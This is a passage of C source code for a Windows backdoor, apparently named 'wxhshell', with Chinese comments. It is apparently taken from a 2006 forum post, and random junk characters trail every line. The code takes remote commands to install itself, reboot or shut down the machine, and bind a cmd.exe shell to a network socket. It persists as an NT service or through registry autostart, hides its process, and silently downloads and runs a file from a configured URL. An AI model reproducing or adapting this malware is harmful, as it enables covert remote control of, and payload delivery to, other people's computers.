  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c'yxWZEv  
  } kMN~Y  
  else { &gx%b*;`L0  
Q>i^s@0  
    switch(cmd[0]) { ['iPl/v0  
  Q hO!Ma]  
  // 帮助 YT(AUS5n  
  case '?': { BLD gt~h#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V1M.JU  
    break; +@wD qc  
  } *(DV\.l`  
  // 安装 vUM4S26"NT  
  case 'i': { P+/e2Y  
    if(Install()) $1`2 kM5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cSV aI  
    else A2Gevj?F$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k;FUs[  
    break; 7zG_(83)K  
    } wI/iuc  
  // 卸载 YNi.SXH  
  case 'r': { )\$|X}uny&  
    if(Uninstall()) 97!;.f-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dvUic-w<j  
    else g3y+&Y_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U # qK.  
    break; pFjK}J OF  
    } @~a%/GQ#n*  
  // 显示 wxhshell 所在路径 TarY|P7_  
  case 'p': { 1iF1GkLEq  
    char svExeFile[MAX_PATH]; ~Z' ?LV<t  
    strcpy(svExeFile,"\n\r"); c{w2Gt!  
      strcat(svExeFile,ExeFile); qlPT Ll  
        send(wsh,svExeFile,strlen(svExeFile),0); 0LJv'  
    break; $6poFo)U+  
    } f ) L  
  // 重启 >~0Z& d  
  case 'b': { Mb*?5R6;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t"oeQ*d%  
    if(Boot(REBOOT)) 92oFlEJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{t,'[ u  
    else { M9%$lCl   
    closesocket(wsh); I%KYtv~ `  
    ExitThread(0); e+fN6v5pU  
    } ?%[jR=w  
    break; ?4T-@~~*`=  
    } ysY*k`5  
  // 关机 lL0APT;  
  case 'd': { pTLCWbF?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6.yu-xm  
    if(Boot(SHUTDOWN)) x7 ,5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tc_3sC7jN  
    else { 7 HYwLG:\~  
    closesocket(wsh); @f3E`8  
    ExitThread(0); + v:SM 9  
    } { 2f-8Z&>  
    break; R.<g3"Lm>  
    } {E|$8)58i  
  // 获取shell e$Pj.>-<=  
  case 's': { mQ"-,mMI  
    CmdShell(wsh); pOoEI+t  
    closesocket(wsh); DZtsy!xA  
    ExitThread(0);  _6vW F  
    break; dG?*y  
  } ]3Sp W{=^(  
  // 退出 q'Pf]  
  case 'x': { =[7Av>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8zW2zkv2|#  
    CloseIt(wsh); =41?^1\  
    break; <lJ345Q  
    } g *+>H1}  
  // 离开  N4TV  
  case 'q': { _7_Y={4=`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :?1Dko^  
    closesocket(wsh); 8'y$M] e9n  
    WSACleanup(); 0?|<I{z2  
    exit(1); NL+N%2XG7  
    break; }W^A*]X  
        } ('+d.F[109  
  } F#5~M<`.o  
  } 5'u<iSmBo  
>Y@H4LF;1x  
  // 提示信息 M x" \5i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z},# ~L6$q  
} jq0O22 -R  
  } ^E>3|du]O  
Q\sK"~@3  
  return; 7D_=  
} Xne1gms  
 uHRsFlw  
// shell模块句柄 BDQsP$'6QT  
int CmdShell(SOCKET sock) /Z}}(6T  
{ +D*Z_Yh6  
STARTUPINFO si; >9Vn.S  
ZeroMemory(&si,sizeof(si)); o}p n0KO,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QIFgQ0{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .O<obq~;C  
PROCESS_INFORMATION ProcessInfo; 9_h[bBx-'Q  
char cmdline[]="cmd"; $M:*T.3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C\hM =%  
  return 0; i SQu#p@  
} B&"Q\'c  
{R{=+2K!|k  
// 自身启动模式 _Y m2/3!  
int StartFromService(void) v4 E}D  
{ 6Q5^>\Y  
typedef struct 0jWVp- y  
{ 4E}Yt$|  
  DWORD ExitStatus; -m#)B~)  
  DWORD PebBaseAddress; HTTC TR  
  DWORD AffinityMask; AFt s(  
  DWORD BasePriority; :\_ 5oVb  
  ULONG UniqueProcessId; yEy6]f+>+  
  ULONG InheritedFromUniqueProcessId; m+$VVn3Z}  
}   PROCESS_BASIC_INFORMATION; <9b &<K:  
XL/u#EA0<  
PROCNTQSIP NtQueryInformationProcess; V>3X\)qu  
eS){1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  C9)@jK%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J] r^W)O  
bpa?C  
  HANDLE             hProcess; <(!:$  
  PROCESS_BASIC_INFORMATION pbi; &5!8F(7  
`uTmw^pZX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1G`Pmh@  
  if(NULL == hInst ) return 0; f* wx<  
fI|$K )K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p5*jzQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4?01s-Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |JsZJ9W+J  
_,*r_D61S  
  if (!NtQueryInformationProcess) return 0; `kSZX:=};  
`XDl_E+>l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RT8 ?7xFc  
  if(!hProcess) return 0; G^@5H/)  
ZYNsHcTY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M D#jj3y  
AQ^u   
  CloseHandle(hProcess); a$fnh3j[  
#T"4RrR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :Llb< MY2  
if(hProcess==NULL) return 0; 0PCGDLk8  
\z)%$#I  
HMODULE hMod; B`sAk %  
char procName[255]; %@Jsal'  
unsigned long cbNeeded; MnHNjsO#  
ue>D 7\8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /g.U&oI]D  
ksm~<;td  
  CloseHandle(hProcess); ,`sv1xwd  
UC$ppTCc?  
if(strstr(procName,"services")) return 1; // 以服务启动 yWf`rF{  
zKK9r~ M  
  return 0; // 注册表启动 HK% 7g  
} l%=;  
MpOc  
// 主模块 V]?R>qhgu  
int StartWxhshell(LPSTR lpCmdLine) l}P=/#</T  
{ |1Z)E+q*:  
  SOCKET wsl; 9j Gu}V o  
BOOL val=TRUE; !PE]C!*gv&  
  int port=0; c+GG\:gM  
  struct sockaddr_in door; 6wg^FD_Q  
EhBKj |y  
  if(wscfg.ws_autoins) Install(); rS Ni@;   
c[s4EUG  
port=atoi(lpCmdLine); wKY_Bo/d  
$Y gue5{c  
if(port<=0) port=wscfg.ws_port; [<TrS/,)>  
"EJ~QCW*Yh  
  WSADATA data; -ze J#B)C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R^e'}+Z  
K.yb ^dg5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   23jwAsSo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OcO3v'&  
  door.sin_family = AF_INET; iJ|uvPCE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K|s, ru  
  door.sin_port = htons(port); Y\hBd$lQ~  
6E}qL8'5x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L \iFNT}g`  
closesocket(wsl); VG~Vs@c(  
return 1; KG{St{uJ  
} ,iwp,=h=  
IUct  
  if(listen(wsl,2) == INVALID_SOCKET) { EBmt9S  
closesocket(wsl); nT)vNWT=  
return 1; EEL,^3KR  
} B|X!>Q<g  
  Wxhshell(wsl); -%4,@ x`  
  WSACleanup(); {7pli{`  
D3K8F@d  
return 0; 3 8`<:{^Y  
r@,2E6xn  
} ]]Ufas9  
%N_%JK\{@  
// 以NT服务方式启动 9o!Bzy+_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |gY^)9ei  
{ 8a"%0d#  
DWORD   status = 0; ,"0 :3+(8;  
  DWORD   specificError = 0xfffffff; Yz93'HDB  
-|9=P\U8S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \lNN Msd&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v(%*b,^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |e0`nn=  
  serviceStatus.dwWin32ExitCode     = 0; /_ajaz%  
  serviceStatus.dwServiceSpecificExitCode = 0; A+?`?pOm&  
  serviceStatus.dwCheckPoint       = 0; Uoix  
  serviceStatus.dwWaitHint       = 0; BfiD9ka-z  
h zn6kbv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ssg&QI  
  if (hServiceStatusHandle==0) return; YZJyk:H\  
9-m=*|p  
status = GetLastError(); Qe(:|q _  
  if (status!=NO_ERROR) 0C ,`h `  
{ ,MIV=*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7Fsay+a  
    serviceStatus.dwCheckPoint       = 0; @9|hMo  
    serviceStatus.dwWaitHint       = 0; ] @fk] ]R  
    serviceStatus.dwWin32ExitCode     = status; U,1-A=Og{o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ={Qi0Pvt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); | VDV<g5h  
    return; IO:G1;[/2L  
  } Y\'}a+:@Ph  
+x}<IS8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?|Zx!z ($  
  serviceStatus.dwCheckPoint       = 0; bi;1s'Y<D  
  serviceStatus.dwWaitHint       = 0; g< .qUBPKX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rbv;?'O$L  
}  "-V"=t'  
o#1 $q`Z  
// 处理NT服务事件,比如:启动、停止 Eu04e N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) seeB S/%  
{ El"Q'(:/U  
switch(fdwControl) {H'Y `+  
{ FHI ;)wn=  
case SERVICE_CONTROL_STOP: a7%]Y}$  
  serviceStatus.dwWin32ExitCode = 0; BTrn0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;i+#fQO7Q  
  serviceStatus.dwCheckPoint   = 0; 8DaL,bi*.  
  serviceStatus.dwWaitHint     = 0; ^sWT:BDh  
  { o2\8OxcA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R@rBEW&  
  } d m%8K6|  
  return; ;i:d+!3XwC  
case SERVICE_CONTROL_PAUSE: QkC(uS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q'MZ R'<@  
  break; ;gr9/Vl  
case SERVICE_CONTROL_CONTINUE: II x#2r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uY'HT|@:{  
  break; ^K@C"j?M/  
case SERVICE_CONTROL_INTERROGATE: ` sU/&  P  
  break; ,$&&-p I]  
}; @Do= k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;sFF+^~L  
} [j'X;tVX{  
c~ V*:$F  
// 标准应用程序主函数 $PHvA6D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .#pU=v#/[  
{ UW EV^ &"x  
t\ewHZG"  
// 获取操作系统版本 Owk|@6!  
OsIsNt=GetOsVer(); =odFmF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )53y AyP  
du^J2m{f  
  // 从命令行安装 *CHX  
  if(strpbrk(lpCmdLine,"iI")) Install(); x-3\Ls[I  
'2^Q1{ :\  
  // 下载执行文件 5`:Y ye  
if(wscfg.ws_downexe) { Pgea NK5Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AYx{U?0p  
  WinExec(wscfg.ws_filenam,SW_HIDE); VP]%Hni]  
} C;urBsC  
u;c?d!E  
if(!OsIsNt) { -3Vx76Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 wD)XjX  
HideProc(); TRq6NB  
StartWxhshell(lpCmdLine); u.Dz~$T  
} Q'0d~6n&{  
else vRO _Q?  
  if(StartFromService()) I2 P@L?h  
  // 以服务方式启动 ixD)VcD-f  
  StartServiceCtrlDispatcher(DispatchTable); n6a`;0f[R  
else :6\qpex  
  // 普通方式启动 @I!0-OjL  
  StartWxhshell(lpCmdLine); b1?'gn~  
,\%c^,HLJ  
return 0; \P`hq^;  
}
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只看该作者 1 发表于: 2006-10-10
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